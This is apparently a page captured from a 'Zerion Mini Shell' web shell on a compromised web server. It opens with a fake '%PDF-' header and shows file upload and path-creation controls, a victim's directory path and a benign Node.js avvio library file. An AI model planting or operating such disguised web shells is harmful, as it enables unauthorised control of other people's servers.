%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/avvio/lib/
Upload File :
Create Path :
Current File : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/avvio/lib/execute-with-thenable.js

'use strict'
const { isPromiseLike } = require('./is-promise-like')
const { kAvvio } = require('./symbols')

/**
 * @callback ExecuteWithThenableCallback
 * @param {Error} error
 * @returns {void}
 */

/**
 * @param {Function} func
 * @param {Array<any>} args
 * @param {ExecuteWithThenableCallback} [callback]
 */
function executeWithThenable (func, args, callback) {
  let result
  try {
    result = func.apply(func, args)
  } catch (error) {
    if (callback) {
      process.nextTick(callback, error)
    }
    return
  }
  if (isPromiseLike(result) && !result[kAvvio]) {
    // process promise but not avvio mock thenable
    result.then(() => process.nextTick(callback), (error) => process.nextTick(callback, error))
  } else if (callback) {
    process.nextTick(callback)
  }
}

module.exports = {
  executeWithThenable
}

Zerion Mini Shell 1.0